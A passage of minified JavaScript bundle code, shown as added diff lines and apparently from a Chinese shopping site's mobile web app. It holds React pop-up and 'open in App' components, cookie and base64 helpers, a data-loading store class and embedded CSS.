n(""b5fu""), + A = n(""xnWZ""), + I = n(""KbSy"").default, + k = { + requestContext: y.a.instanceOf(I).isRequired, + platform: y.a.object.isRequired + }, + E = S()({ + propTypes: C.a.extend({ + children: y.a.element.isRequired, + context: y.a.shape(k) + }, null), + childContextTypes: k, + getChildContext: function() { + if (!this._childContext) { + var e = this.props, + t = e.req, + n = e.res, + r = e.context; + this._childContext = r || E.buildContext(t, n) + } + return this._childContext + }, + render: function() { + return this.props.children + } + }); + E.buildContext = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : null, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : null, + n = new I(e, t); + return { + requestContext: n, + platform: Object(A.a)(n.userAgent, n.hostname) + } + }; + var T, N, x, O, D, P = E, + R = n(""CyzL""), + M = n(""rIj9""); + n.d(t, ""a"", function() { + return L + }); + var L = (T = function() { + function e() { + d()(this, e), + this.$http = null, + this.$axiosHttp = null, + l()(this, ""isServerRendered"", N, this), + l()(this, ""isFinishInitLoading"", x, this), + l()(this, ""accessToken"", O, this), + l()(this, ""errorRedirectUrl"", D, this) + } + return f()(e, [{ + key: ""finishServerRender"", + value: function() { + this.finishInitLoading(), + this.isServerRendered = !0 + } + }, { + key: ""finishInitLoading"", + value: function() { + this.isFinishInitLoading = !0 + } + }, { + key: ""prepareClientData"", + value: function() {} + }, { + key: ""dealError"", + value: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """"; + if (e.handled) + return Promise.reject(e); + if (""string"" == typeof e) + return console.warn(""current error '"".concat(e, ""' is a string, please use Error instance"")), + Promise.reject({ + errorCode: e, + handled: !0 + }); + var t = e.error && (e.error.errorCode || e.error.error_code) || e.errorCode; + return Promise.reject({ + handled: !0, + errorCode: void 0 === t ? ""unknown"" : t, + error: e, + alertText: Object(_.b)(t), + redirectUrl: this.errorRedirectUrl + }) + } + }, { + key: ""initDataCallback"", + value: function(e) { + this.initServices(this.$http); + var t = this.getDatasource(); + return this.loadDatasource(t, e) + } + }, { + key: ""initClientData"", + value: function() { + var e = c()(o.a.mark(function e(t) { + var n, r; + return o.a.wrap(function(e) { + for (;;) + switch (e.prev = e.next) { + case 0: + return e.prev = 0, + n = P.buildContext(), + r = n.requestContext, + e.next = 4, + r.fetchAccessToken(); + case 4: + return this.accessToken = e.sent, + this.$http = new R.a, + this.$axiosHttp = Object(M.a)({ + pageInfo: t + }), + e.next = 9, + this.initDataCallback(r); + case 9: + this.prepareClientData(), + e.next = 15; + break; + case 12: + return e.prev = 12, + e.t0 = e.catch(0), + e.abrupt(""return"", this.dealError(e.t0)); + case 15: + case ""end"": + return e.stop() + } + }, e, this, [ + [0, 12] + ]) + })); + return function(t) { + return e.apply(this, arguments) + } + }() + }, { + key: ""initServerData"", + value: function() { + var e = c()(o.a.mark(function e(t, n) { + return o.a.wrap(function(e) { + for (;;) + switch (e.prev = e.next) { + case 0: + return e.prev = 0, + this.accessToken = n, + this.$http = new R.a({ + req: t.__req, + res: t.__res, + accessToken: this.accessToken + }), + this.$axiosHttp = Object(M.a)({ + req: t.__req, + res: t.__res, + accessToken: this.accessToken + }), + e.next = 6, + this.initDataCallback(t); + case 6: + this.finishServerRender(), + e.next = 12; + break; + case 9: + return e.prev = 9, + e.t0 = e.catch(0), + e.abrupt(""return"", this.dealError(e.t0)); + case 12: + case ""end"": + return e.stop() + } + }, e, this, [ + [0, 9] + ]) + })); + return function(t, n) { + return e.apply(this, arguments) + } + }() + }, { + key: ""fromJS"", + value: function(e, t) { + e && e.isServerRendered && (Object.assign(this, e), + this.$http = new R.a, + this.$axiosHttp = Object(M.a)({ + pageInfo: t + }), + this.initServices(this.$http)) + } + }, { + key: ""loadDatasource"", + value: function() { + var e = c()(o.a.mark(function e(t, n) { + var r = this; + return o.a.wrap(function(e) { + for (;;) + switch (e.prev = e.next) { + case 0: + if (!Array.isArray(t)) { + e.next = 2; + break + } + return e.abrupt(""return"", t.reduce(function(e, t) { + return e.then(function() { + return U(t, n, r) + }) + }, Promise.resolve())); + case 2: + return e.abrupt(""return"", U(t, n, this)); + case 3: + case ""end"": + return e.stop() + } + }, e, this) + })); + return function(t, n) { + return e.apply(this, arguments) + } + }() + }, { + key: ""getDatasource"", + value: function() { + return [] + } + }, { + key: ""initServices"", + value: function(e) {} + }, { + key: ""toJSON"", + value: function() { + return Object(v.r)(this) + } + }]), + e + }(), + N = g()(T.prototype, ""isServerRendered"", [v.n], { + configurable: !0, + enumerable: !0, + writable: !0, + initializer: function() { + return !1 + } + }), + x = g()(T.prototype, ""isFinishInitLoading"", [v.n], { + configurable: !0, + enumerable: !0, + writable: !0, + initializer: function() { + return !1 + } + }), + O = g()(T.prototype, ""accessToken"", [v.n], { + configurable: !0, + enumerable: !0, + writable: !0, + initializer: function() { + return """" + } + }), + D = g()(T.prototype, ""errorRedirectUrl"", [v.n], { + configurable: !0, + enumerable: !0, + writable: !0, + initializer: function() { + return ""/"" + } + }), + g()(T.prototype, ""finishServerRender"", [v.d], Object.getOwnPropertyDescriptor(T.prototype, ""finishServerRender""), T.prototype), + g()(T.prototype, ""finishInitLoading"", [v.d], Object.getOwnPropertyDescriptor(T.prototype, ""finishInitLoading""), T.prototype), + g()(T.prototype, ""prepareClientData"", [v.d], Object.getOwnPropertyDescriptor(T.prototype, ""prepareClientData""), T.prototype), + g()(T.prototype, ""dealError"", [v.d], Object.getOwnPropertyDescriptor(T.prototype, ""dealError""), T.prototype), + g()(T.prototype, ""initDataCallback"", [v.d], Object.getOwnPropertyDescriptor(T.prototype, ""initDataCallback""), T.prototype), + g()(T.prototype, ""initClientData"", [v.d], Object.getOwnPropertyDescriptor(T.prototype, ""initClientData""), T.prototype), + g()(T.prototype, ""initServerData"", [v.d], Object.getOwnPropertyDescriptor(T.prototype, ""initServerData""), T.prototype), + g()(T.prototype, ""fromJS"", [v.d], Object.getOwnPropertyDescriptor(T.prototype, ""fromJS""), T.prototype), + g()(T.prototype, ""loadDatasource"", [v.d], Object.getOwnPropertyDescriptor(T.prototype, ""loadDatasource""), T.prototype), + T); + + function U(e, t, n) { + return W.apply(this, arguments) + } + + function W() { + return (W = c()(o.a.mark(function e(t, n, r) { + var i, s; + return o.a.wrap(function(e) { + for (;;) + switch (e.prev = e.next) { + case 0: + if (i = { + req: n.__req, + res: n.__res, + accessToken: r.accessToken + }, + ""function"" != typeof t) { + e.next = 7; + break + } + return e.next = 4, + t(n, i, r); + case 4: + return s = e.sent, + Object(v.p)(function() { + return Object.assign(r, s) + }), + e.abrupt(""return""); + case 7: + return e.abrupt(""return"", Promise.all(Object.entries(t).map(function() { + var e = c()(o.a.mark(function e(t) { + var s, c, u, l, p; + return o.a.wrap(function(e) { + for (;;) + switch (e.prev = e.next) { + case 0: + return s = a()(t, 2), + c = s[0], + ""function"" == typeof(u = s[1]) && (u = { + dump: !1, + loader: u + }), + l = u.loader, + e.next = 5, + Promise.resolve(l(n, i, r)); + case 5: + p = e.sent, + Object(v.p)(function() { + u.dump ? Object.assign(r, p) : r[c] = p + }); + case 7: + case ""end"": + return e.stop() + } + }, e) + })); + return function(t) { + return e.apply(this, arguments) + } + }()))); + case 8: + case ""end"": + return e.stop() + } + }, e) + }))).apply(this, arguments) + } + }, + ""8wto"": function(e, t, n) { + ""use strict""; + (function(e) { + function r(e) { + return !(arguments.length > 1 && void 0 !== arguments[1] && arguments[1]) && /[^\x00-\x7F]/.test(e) ? function(e) { + return window.btoa(encodeURIComponent(e).replace(/%([0-9A-F]{2})/g, function(e, t) { + return String.fromCharCode(""0x"" + t) + })) + }(e) : function(e) { + return window.btoa(e) + }(e) + } + + function a(e) { + return arguments.length > 1 && void 0 !== arguments[1] && arguments[1] ? function(e) { + return window.atob(e) + }(e) : function(e) { + return decodeURIComponent(window.atob(e).split("""").map(function(e) { + return ""%"" + (""00"" + e.charCodeAt(0).toString(16)).slice(-2) + }).join("""")) + }(e) + } + n.d(t, ""b"", function() { + return r + }), + n.d(t, ""a"", function() { + return a + }) + }).call(this, n(""tjlA"").Buffer) + }, + ""9/CJ"": function(e, t, n) { + ""use strict""; + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""MVZn""), + f = n.n(h), + m = n(""q1tI""), + g = n.n(m), + v = n(""ii9O""), + _ = n(""mj+i""), + b = n(""jtE3""), + y = n(""Fcpp""), + w = n(""KoDT""), + S = n(""h3qu""), + C = n(""fkZF""), + A = n(""uf4C""); + var I = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : ""index.html"", + t = !(arguments.length > 1 && void 0 !== arguments[1]) || arguments[1]; + if (e.indexOf(""_p_launch_id"") >= 0) + return e; + var n = A.a.getInstance(), + r = {}; + t && (r = n.getExtendTransferParameters(!0)); + var a = [n.getPageSN() || """", Date.now(), Object(C.a)(10)].join(""_""), + i = document.createElement(""a""); + i.href = e; + var o = Object.assign({}, Object(_.e)(i.search), r, { + _p_launch_id: a + }), + s = (i.pathname + ""?"" + Object(_.b)(o) + i.hash).slice(1); + return y.a.trackingRecord({ + op: ""event"", + sub_op: ""market_launch"", + origin_url: e, + launch_id: a, + launch_url: s + }), + s + }, + k = n(""ctu6""); + n(""/vAr""); + n.d(t, ""a"", function() { + return N + }); + var E = {}; + E = Object(w.b)(navigator.userAgent); + var T = null; + var N = function(e) { + function t() { + var e, n; + a()(this, t); + for (var r = arguments.length, i = new Array(r), o = 0; o < r; o++) + i[o] = arguments[o]; + return (n = c()(this, (e = l()(t)).call.apply(e, [this].concat(i)))).state = { + hide: !0 + }, + n.topGotoApp = function() { + n.props.appUrl && function(e) { + var t = e.marketDownloadParams, + n = e.appUrl, + r = e.trackingParams, + a = void 0 === r ? {} : r, + i = function() { + var e = ""/market_download.html?"" + Object(_.b)(f()({ + src: E.isWeChatPlatform ? ""weixin"" : E.platform, + add_download_task: 1, + task_apk_tag: 3 + }, t || {})); + v.a.forward(e) + }, + o = function() { + var e = I(n); + Object(b.a)(e).catch(i) + }; + a = Object.assign({}, { + op: ""click"", + page_el_sn: 426522 + }, a), + y.a.trackingRecord(a), + Object(k.a)({ + downloadParams: t + }).then(o).catch(o) + }({ + appUrl: n.props.appUrl, + trackingParams: n.props.trackingParams, + marketDownloadParams: n.props.marketDownloadParams + }) + }, + n.handleClick = function() { + T || (n.props.onClick && n.props.onClick(), + n.topGotoApp()), + T && clearTimeout(T), + T = setTimeout(function() { + T = null + }, n.props.throttleTime) + }, + n + } + return d()(t, e), + o()(t, [{ + key: ""componentDidMount"", + value: function() { + this.setState({ + hide: !1 + }) + } + }, { + key: ""isSupport"", + value: function() { + return E.isPureWeChatPlatform || E.isWeiboPlatform || E.platform === S.a.Unknown + } + }, { + key: ""render"", + value: function() { + return this.state.hide || !this.isSupport() ? null : g.a.createElement(""div"", { + className: ""pdd-go-to-app"", + onClick: this.handleClick, + style: this.props.style + }, ""在App打开"", g.a.createElement(""span"", { + className: ""icon pdd-go-to-app-icon"" + })) + } + }]), + t + }(g.a.Component); + N.defaultProps = { + throttleTime: 400 + } + }, + ""9PFF"": function(e, t, n) { + (e.exports = n(""I1BE"")(!1)).push([e.i, ""@charset \""UTF-8\"";\n\n/**\r\n * base.scss, 一些公共的代码\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/**\r\n * base variable\r\n */\n\n/**\r\n * function 区域\r\n */\n\n/**\r\n * mixin 区域\r\n */\n\n/**\r\n * 父元素必须是position: relative\r\n */\n\n/**\r\n * 字体icon\r\n */\n\n/**\r\n * flex 布局\r\n */\n\n/**\r\n * extend区域\r\n */\n\n/**\r\n * @file variables.scss, 相关的变量\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/**\r\n * @file border1px.scss, 1px在devicePixelRatio>2的方案\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/*原来的逻辑*/\n\n/*\n* 注意:需要按钮是position(absolute,relative)定位的,按钮没有宽高的,可能会出bug.\n* 按钮before已经有样式的就用data-active=after-{type},after同理。\n* eg:
    button
    \n* https://jira2.corp.yiran.com/browse/PDD-10191\n* 红色按钮 highlight状态增加 #000000 15%\n* 白色按钮 highlight状态增加 #000000 5%\n* 红色线框按钮 highlight状态增加 #E02E24 5%\n*/\n\n.default-confirm-bg-fill,\n.default-alert-bg-fill {\n background-color: rgba(0, 0, 0, 0.8);\n width: 100%;\n height: 100%;\n left: 0;\n top: 0;\n position: absolute;\n z-index: -1;\n}\n\n.default-confirm-content-wrapper,\n.default-alert-content-wrapper {\n z-index: 2;\n position: relative;\n display: block;\n height: auto;\n width: 2.9rem;\n max-height: 100vh;\n max-width: 768px;\n margin: auto;\n background: white;\n border-radius: 0.08rem;\n overflow-y: hidden;\n text-align: center;\n}\n\n.default-confirm-content-wrapper .detail,\n.default-alert-content-wrapper .detail {\n padding: 0.26rem 0.16rem;\n overflow-y: auto;\n border-bottom: 1px solid #ededed;\n max-height: 3.75rem;\n word-wrap: break-word;\n word-break: normal;\n cursor: default;\n -webkit-touch-callout: none;\n -webkit-user-select: none;\n user-select: none;\n}\n\n.default-confirm-content-wrapper .detail .title,\n.default-alert-content-wrapper .detail .title {\n text-align: center;\n font-size: 0.17rem;\n line-height: 1.4;\n color: #151516;\n}\n\n.default-confirm-content-wrapper .detail .desc,\n.default-alert-content-wrapper .detail .desc {\n font-size: 0.14rem;\n line-height: 1.4;\n color: #585958;\n}\n\n.default-confirm-content-wrapper .detail > *:not(:first-child),\n.default-alert-content-wrapper .detail > *:not(:first-child) {\n margin-top: 0.09rem;\n}\n\n.default-confirm-content-wrapper .buttons,\n.default-alert-content-wrapper .buttons {\n width: 100%;\n overflow: hidden;\n display: -webkit-box;\n display: flex;\n display: -webkit-flex;\n -webkit-box-pack: center;\n justify-content: center;\n -webkit-justify-content: center;\n -webkit-box-align: center;\n align-items: center;\n -webkit-align-items: center;\n -webkit-box-orient: horizontal;\n -webkit-box-direction: normal;\n flex-direction: row;\n -webkit-flex-direction: row;\n}\n\n.default-confirm-content-wrapper .buttons .button,\n.default-alert-content-wrapper .buttons .button {\n overflow: hidden;\n font-size: 0.17rem;\n line-height: 1;\n color: #e02e24;\n width: 100%;\n padding: 0.155rem;\n white-space: nowrap;\n text-overflow: ellipsis;\n cursor: default;\n -webkit-touch-callout: none;\n -webkit-user-select: none;\n user-select: none;\n}\n\n.default-confirm-content-wrapper .buttons .button:active,\n.default-alert-content-wrapper .buttons .button:active {\n background-color: rgba(0, 0, 0, 0.16);\n}\n\n.default-confirm-content-wrapper .buttons.buttons-confirm .button,\n.default-alert-content-wrapper .buttons.buttons-confirm .button {\n width: 50%;\n}\n\n.default-confirm-content-wrapper .buttons.buttons-confirm .button:first-child,\n.default-alert-content-wrapper .buttons.buttons-confirm .button:first-child {\n color: #9c9c9c;\n}\n\n.default-confirm-content-wrapper .buttons.buttons-confirm .button:not(:first-child),\n.default-alert-content-wrapper .buttons.buttons-confirm .button:not(:first-child) {\n border-left: 1px solid #ededed;\n}"", """"]) + }, + ""9vQ7"": function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return a + }); + var r = function() { + for (var e, t = [], n = 0; n < 256; n++) { + e = n; + for (var r = 0; r < 8; r++) + e = 1 & e ? 3988292384 ^ e >>> 1 : e >>> 1; + t[n] = e + } + return t + }(), + a = function(e, t) { + e = function(e) { + e = e.replace(/\r\n/g, ""\n""); + for (var t = """", n = 0; n < e.length; n++) { + var r = e.charCodeAt(n); + r < 128 ? t += String.fromCharCode(r) : r > 127 && r < 2048 ? (t += String.fromCharCode(r >> 6 | 192), + t += String.fromCharCode(63 & r | 128)) : (t += String.fromCharCode(r >> 12 | 224), + t += String.fromCharCode(r >> 6 & 63 | 128), + t += String.fromCharCode(63 & r | 128)) + } + return t + }(e.toString()), + ""undefined"" !== t && null !== t || (t = 0), + t ^= -1; + for (var n = 0; n < e.length; n++) + t = t >>> 8 ^ r[255 & (t ^ e.charCodeAt(n))]; + return (-1 ^ t) >>> 0 + } + }, + AGSb: function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return o + }), + n.d(t, ""b"", function() { + return s + }); + var r = n(""J4zp""), + a = n.n(r); + + function i(e) { + return e.replace(/(%[0-9A-Z]{2})+/g, decodeURIComponent) + } + + function o(e) { + var t = {}; + return (document.cookie ? document.cookie.split(""; "") : []).some(function(n) { + var r = n.split(""=""), + a = r.slice(1).join(""=""), + o = i(r[0]); + return a = i(a), + t[o] = a, + e === o + }), + e ? t[e] || """" : t + } + + function s(e, t, n) { + if (void 0 === t) + return """"; + ""number"" == typeof(n = Object.assign({ + path: ""/"" + }, n)).maxAge && (n[""max-age""] = String(n.maxAge), + n.maxAge = !1), + t = encodeURIComponent(t), + e = encodeURIComponent(e); + var r = Object.entries(n).reduce(function(e, t) { + var n = a()(t, 2), + r = n[0], + i = n[1]; + return i ? (e += ""; "" + r, !0 === i ? e : e += ""="" + i.split("";"")[0]) : e + }, """"); + return document.cookie = e + ""="" + t + r + } + }, + BAOl: function(e, t, n) { + (e.exports = n(""I1BE"")(!1)).push([e.i, '@charset ""UTF-8"";\n\n/**\r\n * base.scss, 一些公共的代码\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/**\r\n * base variable\r\n */\n\n/**\r\n * function 区域\r\n */\n\n/**\r\n * mixin 区域\r\n */\n\n/**\r\n * 父元素必须是position: relative\r\n */\n\n/**\r\n * 字体icon\r\n */\n\n/**\r\n * flex 布局\r\n */\n\n/**\r\n * extend区域\r\n */\n\n/**\r\n * @file variables.scss, 相关的变量\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/**\r\n * @file border1px.scss, 1px在devicePixelRatio>2的方案\r\n * @author fushi(fushi@yiran.com)\r\n */\n\n/*原来的逻辑*/\n\n/*\n* 注意:需要按钮是position(absolute,relative)定位的,按钮没有宽高的,可能会出bug.\n* 按钮before已经有样式的就用data-active=after-{type},after同理。\n* eg:
    button
    \n* https://jira2.corp.yiran.com/browse/PDD-10191\n* 红色按钮 highlight状态增加 #000000 15%\n* 白色按钮 highlight状态增加 #000000 5%\n* 红色线框按钮 highlight状态增加 #E02E24 5%\n*/\n\n#share-mask {\n position: fixed;\n left: 0;\n top: 0;\n width: 100%;\n height: 100%;\n background: rgba(0, 0, 0, 0.8);\n z-index: 99999;\n}\n\n#share-mask .native_info {\n position: absolute;\n top: 10%;\n left: 10%;\n width: 80%;\n text-align: center;\n font-size: 16px;\n color: white;\n}\n\n#share-mask .native_info .native_info_title {\n font-size: 32px;\n color: white;\n}\n\n#share-mask .native_info .native_info_desc {\n font-size: 19px;\n line-height: 1;\n}\n\n#share-mask .commercial-bargain-group-tip {\n color: #fff;\n text-align: center;\n font-size: 0.18rem;\n line-height: 1.5;\n font-weight: bold;\n position: absolute;\n bottom: 200px;\n left: 0;\n width: 100%;\n}\n\n#share-mask .commercial-bargain-group-tip b {\n color: #ee2e3a;\n font-weight: 700;\n}\n\n#share-mask .knot-clct-hint {\n color: white;\n text-align: center;\n font-size: .18rem;\n line-height: .24rem;\n position: absolute;\n bottom: 165px;\n left: 0;\n width: 100%;\n}\n\n#share-mask .act-free-group {\n color: #fff;\n text-align: center;\n font-size: 0.18rem;\n line-height: 1.5;\n font-weight: bold;\n position: absolute;\n bottom: 180px;\n left: 0;\n width: 100%;\n}\n\n#share-mask .act-free-group b {\n color: #ee2e3a;\n font-weight: 700;\n}\n\n#share-content {\n position: fixed;\n bottom: 0;\n z-index: 9999999;\n width: 100%;\n max-width: 640px;\n height: 150px;\n background: white;\n}\n\n#share-content ul {\n margin-top: 15px;\n width: 100%;\n height: 70px;\n line-height: 70px;\n text-align: center;\n overflow: hidden;\n display: -webkit-box;\n display: flex;\n display: -webkit-flex;\n justify-content: space-around;\n -webkit-justify-content: space-around;\n -webkit-box-align: center;\n align-items: center;\n -webkit-align-items: center;\n padding: 0 0.1rem;\n}\n\n#share-content ul li {\n width: 0.7rem;\n}\n\n#share-content ul li i {\n display: block;\n width: 44px;\n height: 44px;\n margin: auto;\n}\n\n#share-content ul li .share-icon-base {\n background-size: 100% auto;\n background-repeat: no-repeat;\n background-size: 220px 44px;\n}\n\n#share-content ul li .share-icon-wechat {\n background-position: 0 0;\n}\n\n#share-content ul li .share-icon-moments {\n background-position: -44px 0;\n}\n\n#share-content ul li .share-icon-qq {\n background-position: -88px 0;\n}\n\n#share-content ul li .share-icon-qqzone {\n background-position: -132px 0;\n}\n\n#share-content ul li .share-icon-sina {\n background-position: -176px 0;\n}\n\n#share-content ul li span {\n display: block;\n font-size: 10pt;\n width: 100%;\n height: 20px;\n line-height: 20px;\n text-align: center;\n color: #b2b1b7;\n}\n\n#share-content p {\n position: absolute;\n bottom: 0;\n left: 0;\n z-index: 999999;\n width: 100%;\n height: 50px;\n line-height: 50px;\n text-align: center;\n font-size: 20px;\n border-top: 1px solid #ccc;\n color: #232323;\n}\n\n.app-new-user-group {\n position: relative;\n text-align: center;\n}\n\n#share-group-pop {\n position: absolute;\n top: 50%;\n left: 50%;\n -webkit-transform: translate(-50%, -50%);\n transform: translate(-50%, -50%);\n background-color: #fff;\n border-radius: 8px;\n z-index: 999999;\n height: auto;\n overflow: hidden;\n width: 2.9rem;\n padding: 0 .1rem;\n}\n\n#share-group-pop .share-group-pop-title {\n border-bottom: 1px solid #e0e0e0;\n height: .5rem;\n line-height: .5rem;\n font-size: .16rem;\n}\n\n#share-group-pop .share-group-pop-content {\n margin: .1rem .1rem 0;\n}\n\n#share-group-pop .share-group-pop-btn {\n margin: .1rem auto .15rem;\n width: 2.62rem;\n font-size: .16rem;\n}\n\n#share-group-pop .share-group-pop-title {\n color: #151516;\n text-align: center;\n}\n\n#share-group-pop .share-group-pop-cancel {\n background: url(""https://t13img.yangkeduo.com/cart/2018-07-12/80f9080f007cb0da9575b91b7cd00a18.png"") 0 0 no-repeat;\n background-size: contain;\n position: absolute;\n right: -0.11rem;\n top: -0.12rem;\n width: .23rem;\n height: .23rem;\n}\n\n#share-group-pop .share-group-pop-content {\n overflow: hidden;\n text-overflow: ellipsis;\n display: -webkit-box;\n -webkit-line-clamp: 2;\n -webkit-box-orient: vertical;\n font-size: .14rem;\n word-break: break-all;\n color: #58595b;\n position: relative;\n}\n\n#share-group-pop .share-group-pop-btn {\n height: .43rem;\n line-height: .42rem;\n color: #fff;\n border-radius: .05rem;\n background-color: #e02e24;\n text-align: center;\n}\n\n@media only screen and (min-height: 270px) and (min-width: 319px) {\n .app-new-user-group {\n padding-top: 10%;\n }\n}\n\n@media only screen and (min-height: 330px) and (min-width: 319px) {\n .app-new-user-group {\n padding-top: 25%;\n }\n}', """"]) + }, + BNiH: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""q1tI""), + f = n.n(h), + m = function(e) { + function t(e) { + return a()(this, t), + c()(this, l()(t).call(this, e)) + } + return d()(t, e), + o()(t, [{ + key: ""render"", + value: function() { + var e = this, + t = e.props.opts.icon; + return f.a.createElement(""div"", { + style: { + display: this.state.display + }, + className: ""bg-fill app-bg-fill"", + onClick: e.clickCancel.bind(e) + }, f.a.createElement(""div"", { + id: ""confirm-shipment"" + }, f.a.createElement(""img"", { + className: ""close-button"", + src: ""//static.yangkeduo.com/assets/img/quit_button.png"" + }), f.a.createElement(""img"", { + className: ""head-icon"", + src: t + }), f.a.createElement(""div"", { + className: ""title"" + }), f.a.createElement(""div"", { + className: ""desc"" + }, ""APP里确认收货就有红包哦~""), f.a.createElement(""div"", { + className: ""button"" + }, f.a.createElement(""div"", { + className: ""confirm-button"", + onClick: e.props.confirmCallback + }, ""去APP里确认收货""), f.a.createElement(""div"", { + className: ""cancel-button"", + onClick: e.props.hideCallback + }, ""不了,现在就确认"")))) + } + }]), + t + }(n(""+zrp"").a); + t.default = m + }, + BTIB: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""q1tI""), + f = n.n(h), + m = function(e) { + function t(e) { + return a()(this, t), + c()(this, l()(t).call(this, e)) + } + return d()(t, e), + o()(t, [{ + key: ""render"", + value: function() { + var e, t = this; + this.props.opts.title && (e = f.a.createElement(""span"", { + className: ""title"" + }, this.props.opts.title)); + var n = []; + return this.props.opts.desc && this.props.opts.desc.forEach(function(e, t) { + n.push(f.a.createElement(""span"", { + className: ""desc"", + key: t + }, e)) + }), + f.a.createElement(""div"", { + className: ""jsalert-confirm_default_v3"", + style: { + display: this.state.display + } + }, f.a.createElement(""div"", { + className: ""bg-fill bg-fill2"" + }), f.a.createElement(""div"", { + id: ""confirm-default-v3"" + }, f.a.createElement(""div"", { + className: ""content-wrapper"" + }, f.a.createElement(""div"", { + className: ""detail"", + id: ""confirm-default-v3-detail"" + }, f.a.createElement(""div"", { + className: ""title"" + }, e), f.a.createElement(""div"", { + className: ""desc"" + }, n)), f.a.createElement(""div"", { + className: ""buttons buttons-confirm"" + }, f.a.createElement(""div"", { + className: ""button"", + onClick: function(e) { + t.clickCancel(e) + } + }, this.props.opts.cancel || ""取消""), f.a.createElement(""div"", { + className: ""button"", + onClick: function(e) { + t.clickConfirm(e) + } + }, this.props.opts.confirm || ""确定""))))) + } + }]), + t + }(n(""+zrp"").a); + t.default = m + }, + Bb3D: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""q1tI""), + f = n.n(h), + m = n(""+zrp""), + g = n(""u16y""), + v = n(""b5fu""), + _ = function(e) { + function t(e) { + return a()(this, t), + c()(this, l()(t).call(this, e)) + } + return d()(t, e), + o()(t, [{ + key: ""clickConfirm"", + value: function(e) { + e && (e.stopPropagation(), + e.preventDefault()), + v.a.call(this.props.confirmCallback, this.state.checkboxSelected) + } + }, { + key: ""render"", + value: function() { + var e = this, + t = this.props, + n = []; + return t.desc && t.desc.forEach(function(e, t) { + n.push(f.a.createElement(""li"", { + className: ""desc"", + key: t + }, e)) + }), + f.a.createElement(""div"", { + className: ""bg-fill"", + style: { + display: this.state.display + } + }, f.a.createElement(""div"", { + className: ""alert-coupon-send"" + }, f.a.createElement(""div"", { + className: ""alert-close"", + onClick: function(t) { + return e.clickHide() + } + }), f.a.createElement(""ul"", { + className: ""alert-coupon-send-desc"" + }, n), f.a.createElement(""p"", { + className: ""alert-coupon-send-confirm"", + onClick: function(t) { + return e.clickConfirm() + } + }))) + } + }]), + t + }(m.a); + _.defaultProps = { + img: g.a.getCDNImgURL(""coupons/coupon_send_bg_v2.png""), + desc: [""快给小伙伴们发红包"", ""自己也可以领取哦~""], + confirm: ""发红包"" + }, + t.default = _ + }, + CdBe: function(e, t, n) { + var r = n(""4Mtu""); + ""string"" == typeof r && (r = [ + [e.i, r, """"] + ]); + var a = { + transform: void 0 + }; + n(""aET+"")(r, a); + r.locals && (e.exports = r.locals) + }, + CyzL: function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return S + }); + var r = n(""MVZn""), + a = n.n(r), + i = n(""J4zp""), + o = n.n(i), + s = n(""cDf5""), + c = n.n(s), + u = n(""lwsE""), + l = n.n(u), + p = n(""W8MJ""), + d = n.n(p), + h = n(""a1gu""), + f = n.n(h), + m = n(""Nsbk""), + g = n.n(m), + v = n(""iWIM""), + _ = n.n(v), + b = n(""7W2i""), + y = n.n(b), + w = function(e) { + function t(e) { + var n; + l()(this, t), (n = f()(this, g()(t).call(this, e))).url = e.url; + var r = n.url.indexOf(""?""); + return n.name = e.name || n.url.substring(0, -1 === r ? n.url.length : r), + n.accessToken = e.accessToken, + n.headers = Object.assign({}, e.headers || {}), + n + } + return y()(t, e), + d()(t, [{ + key: ""dealPath"", + value: function() { + _()(g()(t.prototype), ""dealPath"", this).call(this), + this.path = this.url + } + }, { + key: ""dealHeaders"", + value: function() { + _()(g()(t.prototype), ""dealHeaders"", this).call(this); + var e = this.req && this.req.cookies && this.req.cookies.ETag; + e && (this.headers.ETag = e) + } + }]), + t + }(n(""Hxbd"").a), + S = function() { + function e() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + l()(this, e), + this.auth = t + } + return d()(e, [{ + key: ""processParams"", + value: function(e) { + return ""object"" !== c()(e) || null === e ? e : Object.entries(e).reduce(function(e, t) { + var n = o()(t, 2), + r = n[0], + a = n[1]; + return void 0 !== a && (e[r] = a), + e + }, {}) + } + }, { + key: ""get"", + value: function(e, t) { + var n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : {}; + return console.warn(""HttpService has been deprecated, and will be removed in the next version! Use $axiosHttp instead""), + t = this.processParams(t), + new w(a()({}, this.auth, { + url: e, + params: t + }, n)).get() + } + }, { + key: ""post"", + value: function(e, t) { + var n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : {}; + return console.warn(""HttpService has been deprecated, and will be removed in the next version! Use $axiosHttp instead""), + t = this.processParams(t), + new w(a()({}, this.auth, { + url: e, + params: t + }, n)).post() + } + }, { + key: ""toJSON"", + value: function() { + return this.auth.req ? this.auth.req.reqId : """" + } + }]), + e + }() + }, + EhKJ: function(e, t, n) { + ""use strict""; + var r = n(""kk8N""), + a = 